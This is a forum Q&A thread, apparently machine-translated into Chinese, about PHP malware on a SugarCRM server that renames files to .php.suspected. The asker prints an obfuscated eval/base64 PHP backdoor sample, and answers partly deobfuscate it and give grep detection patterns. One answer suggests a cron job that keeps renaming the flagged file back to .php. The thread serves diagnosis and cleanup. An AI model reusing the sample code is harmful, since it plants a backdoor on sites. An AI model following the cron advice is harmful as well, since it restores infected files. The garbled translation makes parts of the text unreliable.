php 文件自动重命名为 php.suspected

php file automatically renamed to php.suspected

自过去 4 天以来,我们在生产服务器(AWS EC2 实例)上遇到了一个奇怪的问题,该问题仅针对一个站点,即 SugarCRM。

问题是 /home/site_folder/public_html/include/MassUpdate.php 文件自动重命名为 /home/site_folder/public_html/include/MassUpdate.php.suspected

这种情况一天发生 2-3 次,间隔时间为 3-4 小时。此问题仅在特定站点的情况下发生,即使同一站点的暂存副本也不会发生。我什至从两个站点检查了该文件的代码,它是相同的。

我们Google了一下发现,这种问题主要出现在Wordpress网站上,可能是因为受到了攻击。但是我们检查了我们的服务器是否受到攻击,没有。服务器上也没有 virus/malware 扫描 运行。

我们该怎么办?

更新: 经过这个 link 我们发现了一些东西 我们执行了egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/,发现很少有下面示例代码的文件。

    <?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', 'a'=>'D', 'c'=>'a', 'b'=>'K', 'e'=>'o', 'd'=>'5', 'g'=>'m', 'f'=>'h', 'i'=>'6', 'h'=>'c', 'k'=>'p', 'j'=>'s', 'm'=>'A', 'l'=>'R', 'o'=>'S', 'n'=>'u', 'q'=>'N', 'p'=>'k', 's'=>'7', 'r'=>'t', 'u'=>'2', 't'=>'l', 'w'=>'e', 'v'=>'1', 'y'=>'T', 'x'=>'Z', 'z'=>'f');
eval(flnftovr($s, $koicev));?>

似乎是一些恶意软件,我们如何永久删除它?

谢谢

它有点混淆,但我已经去混淆了 it.The 函数 flnftovr 接受一个字符串和一个数组作为参数。它使用公式

创建一个新字符串 $ggy
isset($array[$string[$i]]) ? $array[$string[$i]] : $string[$i];}

然后它将 base64_decode 添加到字符串中。

字符串是$s,数组是$koicev。然后评估此操作的结果。所以最终创建了一个字符串:

base64_decode(QGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmlmKGlzc2V0KCRfU0VSVkVSKfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7Cn0=)

那么在您的服务器上实际得到 运行 的是:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);

if(isset($_SERVER)
encode(serialize($res));
}

如果这不是您创建的,并且您怀疑您的网站已被黑客入侵,我建议您擦除服务器,并重新安装服务器上 运行 正在使用的任何应用程序。

发布此答案,可能会对其他人有所帮助。

  1. 在方便的位置创建扩展名为 '.sh' 的文件。
  2. 在其中添加以下代码。

#Rename your_file_name.php.suspected to your_file_name.php mv /<path_to_your_file>/your_file_name.php.suspected /<path_to_your_file>/your_file_name.php

  1. 保存此文件。
  2. 每 10 分钟(或您需要的任何时间间隔)设置一次 cron,使用 crontab 中的以下行

*/10 * * * * path_to_cron_file.sh

  1. 重新启动 crontab 服务。

您将获得很多关于在 Google 上创建 cron 的文档。

.php 文件重命名为 .php.suspected 今天一直在发生。以下命令不应该产生任何东西:

find <web site root> -name '*.suspected' -print
find <web site root> -name '.*.ico' -print

就我而言,可以使用以下命令找到受感染的文件:

cd <web site root>
egrep -Rl '$GLOBALS.*\x'
egrep -Rl -Ezo '/\*(\w+)\*/\s*@include\s*[^;]+;\s*/\*'
egrep -Rl -E '^.+($_COOKIE|$_POST).+eval.+$'

我已经在 GitHub.

准备了对问题的详细描述以及如何处理它

将 php 文件重命名为 php.suspected 通常是由黑客的脚本设计和完成的。他们更改文件扩展名,给人的印象是该文件已被某些反恶意软件检查过,是安全的且无法执行。但,事实上,并非如此。他们在想要调用脚本的任何时候将扩展名更改为 "php",然后将扩展名更改回 "suspected"。 您可以在 Securi Research Labs

上阅读相关信息

也许这个 post 已经过时了,但这个话题仍然存在。特别是根据 June 2019 malware campaign targeting WordPress plugins。我在客户的 WordPress 子目录中发现了几个 "suspected" 文件(例如 wp-content)